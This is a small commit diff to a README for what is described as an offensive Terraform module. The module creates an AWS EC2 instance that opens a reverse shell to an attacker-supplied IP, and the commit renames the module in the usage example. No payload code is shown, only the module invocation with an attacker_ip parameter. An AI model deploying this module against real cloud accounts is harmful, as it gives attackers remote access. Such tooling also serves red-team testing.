Fix usage module name

Author: iganbold

README.md

@@ -10,12 +10,12 @@ Offensive Terraform module which creates EC2 instance and reverse shell from an
 
 ## Usage
 ```
-module "ec2_instance_credential_exfiltration" {
+module "ec2-instance-reverse-shell" {
     source  = "offensive-terraform/ec2-instance-reverse-shell/aws"
 
     subnet_id = "subnet-0a4a1cc04"
     attacker_ip = "0.0.0.0"
 }
 ```
 ## Author
-Module managed by https://github.com/iganbold
+Module managed by https://github.com/iganbold